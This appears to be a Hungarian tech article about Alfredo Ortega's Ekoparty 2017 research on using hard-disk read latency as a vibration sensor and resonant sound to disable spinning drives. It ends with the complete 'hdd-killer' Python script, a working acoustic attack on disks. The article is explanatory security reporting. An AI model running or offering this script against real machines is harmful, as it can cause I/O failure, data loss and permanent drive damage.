Miért nem szabad kiabálni a HDD-vel?

Miért nem szabad kiabálni a HDD-vel?

A Buenos Aires-i Ekoparty 2017 számítógép-biztonsági konferencián az argentin hacker, Alfredo Ortega egy nagyon érdekes fejlesztést mutatott be – egy rendszert a helyiségek titkos lehallgatására mikrofon nélkül. Hang közvetlenül a merevlemezre rögzítve!

A HDD főleg nagy intenzitású, alacsony frekvenciájú hangokat, lépéseket és egyéb rezgéseket érzékel. Az emberi beszédet még nem lehet felismerni, bár a tudósok ilyen irányú kutatásokat folytatnak (beszédfelismerés alacsony frekvenciájú rezgésekkel, amelyeket például giroszkópról vagy HDD-ről rögzítenek).

A hang a levegő vagy más közeg rezgése. Az ember a dobhártyán keresztül érzékeli őket, amely rezgéseket továbbít a belső fülbe. A mikrofon nagyjából fülhöz hasonló - itt is egy vékony membrán rögzíti a rezgéseket, ami elektromos impulzust gerjeszt. A merevlemez természetesen mikroszkopikus rezgéseknek is kitéve a környező levegő ingadozása miatt. Ez már a HDD-k műszaki jellemzőiből is ismert: a gyártók általában feltüntetik a maximálisan megengedett rezgésszintet, és sokszor maga a merevlemez igyekszik egy gumiból vagy más szigetelőanyagból készült rezgésálló tartályba helyezni. Ebből könnyen levonható a következtetés, hogy HDD-vel is rögzíthetők hangok. Már csak azt kell kitalálni, hogyan.

Alfredo Ortega az oldalcsatornás támadás egy egyedi változatát javasolta, nevezetesen az időtámadást. Ez a támadás azon a feltételezésen alapul, hogy a megadott bemeneti adatoktól függően különböző műveleteket hajtanak végre az eszközön különböző időpontokban. Ebben az esetben a „bemeneti adat” az olvasófej és a HDD tányér rezgései, amelyek korrelálnak a környezet rezgéseivel, vagyis a hanggal. Így a számítási idő mérésével és az adatok statisztikai elemzésével mérhető a fej/tányér rezgései és ezáltal a közeg rezgései. Minél hosszabb az adatok beolvasásának késleltetése, annál erősebbek a HDD rezgései, és így annál hangosabb a hang.

Hogyan mérjük a merevlemez rezgését? Nagyon egyszerű: csak futtassa a rendszerhívást read () – és rögzítse a befejezéshez szükséges időt. A modern operációs rendszerek lehetővé teszik a rendszerhívások időzítésének nanoszekundumos pontosságú olvasását.

A szektorból származó információk beolvasásának sebessége a fej és a tányér helyzetétől függ, ami korrelál a HDD ház rezgéseivel. Ez minden.

A statisztikai elemzés egy egyszerű Kscope segédprogrammal történik. Ahogy mondani szokás, minden zseniális egyszerű.

Miért nem szabad kiabálni a HDD-vel?
Kscope segédprogram (stat() syscall)

A Kscope egy kis segédprogram a rendszerhívások végrehajtási idejének apró különbségeinek megjelenítésére. Forrásmegjelent a GitHubon.

Külön tárolóban HDD-idő a segédprogramnak van egy verziója, amely a merevlemez elleni időtámadásra van beállítva, vagyis a rendszerhívás elemzésére van beállítva read ().

Hangrögzítés bemutatása HDD segítségével, a Kscope segédprogram működése


Természetesen a beszédet így nem lehet megérteni, de a merevlemez nagyon alkalmas rezgésérzékelőnek. Például regisztrálhat, ha egy kemény cipőben vagy mezítláb viselő személy számítógéppel lépett be egy szobába (valószínűleg, ha a támadó puha cipőt visel, vagy vastag szőnyeg van a padlón, a HDD nem tudja regisztrálni a rezgéseket - ezt érdemes megnézni). A számítógép képes rögzíteni az üvegtörést vagy más, erős hangintenzitású eseményeket. Vagyis a merevlemez egyfajta jogosulatlan behatolás-érzékelő rendszerként szolgálhat.

HDD gyilkos

Egyébként hasonló technikával lehet letiltani a merevlemezeket. Csak itt nem távolítjuk el az oszcillációkat a HDD-ről, hanem éppen ellenkezőleg, generálunk olyan rezgéseket, amelyeket a HDD-re táplálunk. Ha a hangszóróból olyan frekvencián játszik le hangot, amely rezonál a HDD frekvenciájával, a rendszer hamarosan kikapcsolja az eszközt I/O hibával (a Linux kernel 120 másodperc után teljesen kikapcsolja a HDD-t). A merevlemez visszafordíthatatlan károsodást szenvedhet.

Miért nem szabad kiabálni a HDD-vel?
A Linux kernel kikapcsolta a merevlemezt, miután 120 másodpercig rezonanciafrekvenciás hangot adott az Edifier r19u USB hangszóró hangszóróján keresztül. A hangszóró a teljesítmény körülbelül egynegyedével van bekapcsolva (kevesebb, mint 100 mW), és 20 cm-re található a HDD-től, és az asztal felé irányul, hogy fokozza a rezgéseket. Keret innen videó a HDD-gyilkos bemutatójával

Érdekes, hogy a HDD-k ilyen „támadásai” néha teljesen véletlenül fordulnak elő a mindennapi életben. Például 2016 szeptemberében az ING Bank adatközpontja kénytelen volt 10 órára felfüggeszteni működését egy tűzoltógyakorlat után. Több tucat merevlemez hibásodott meg a palackokból nagy nyomás alatt felszabaduló inert gáz hangos hangja miatt. A hang nagyon hangos volt (több mint 130 dB), de még csak kiabálni sem lehet a merevlemezekkel – ez megnöveli a merevlemez elérésének késleltetését.

Emberi üvöltözés bemutatása a merevlemezeken egy adatközpontban. Latencia mérése


A rezonáló hang generálásához Alfredo Ortega írt egy Python szkriptet hdd-gyilkos (videó bemutató).

HDD gyilkos szkript Elég kicsi, így itt teljes egészében közzéteheti.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Forrás: will.com

Hozzászólás